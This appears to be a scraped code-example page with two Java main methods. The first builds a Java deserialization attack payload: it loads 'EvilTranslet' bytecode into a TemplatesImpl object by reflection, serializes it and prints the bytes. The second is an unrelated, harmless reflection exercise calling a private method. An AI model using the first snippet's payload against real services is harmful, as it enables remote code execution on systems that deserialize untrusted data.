Пример #1
0
  public static void main(String[] args) throws Exception {
    FileInputStream fis = new FileInputStream("t.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);

    Constructor templateCtor =
        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
            .getDeclaredConstructors()[2];

    templateCtor.setAccessible(true);

    System.out.println(templateCtor);

    byte[] newByteCode = getBytes("EvilTranslet.class");
    byte[] helper = getBytes("EvilTranslet$1.class");

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl template =
        (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)
            templateCtor.newInstance(
                new byte[][] {newByteCode, helper},
                "GregorSamsor",
                null,
                0,
                new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());

    // writeField(template, "_bytecodes", new byte[][]{newByteCode, helper});

    System.out.println(template);

    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(template);

    byte[] bytes = bos.toByteArray();

    System.out.print("{");
    for (int i = 0; i < bytes.length; ++i) {
      System.out.print(bytes[i]);
      System.out.print(",");
    }

    System.out.println("}");
  }
Пример #2
0
  public static void main(String[] args) throws Exception {
    BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
    int num = Integer.parseInt(br.readLine().trim());
    Object o;

    // Solution starts here
    if (num < 1 || num > Math.pow(2, 30)) throw new Exception();
    Solution ob = new Solution();
    Class<?> c = Class.forName("Solution$Private");
    Constructor<?> constructor = c.getDeclaredConstructor(Solution.class);
    constructor.setAccessible(true);
    o = constructor.newInstance(ob);
    Method m = c.getDeclaredMethod("powerof2", new Class[] {int.class});
    m.setAccessible(true);
    String ans = (String) m.invoke(o, num);
    System.out.println(num + " is " + ans);
    // ends here

    System.out.println(
        "An instance of class: " + o.getClass().getSimpleName() + " has been created");
  } // end of main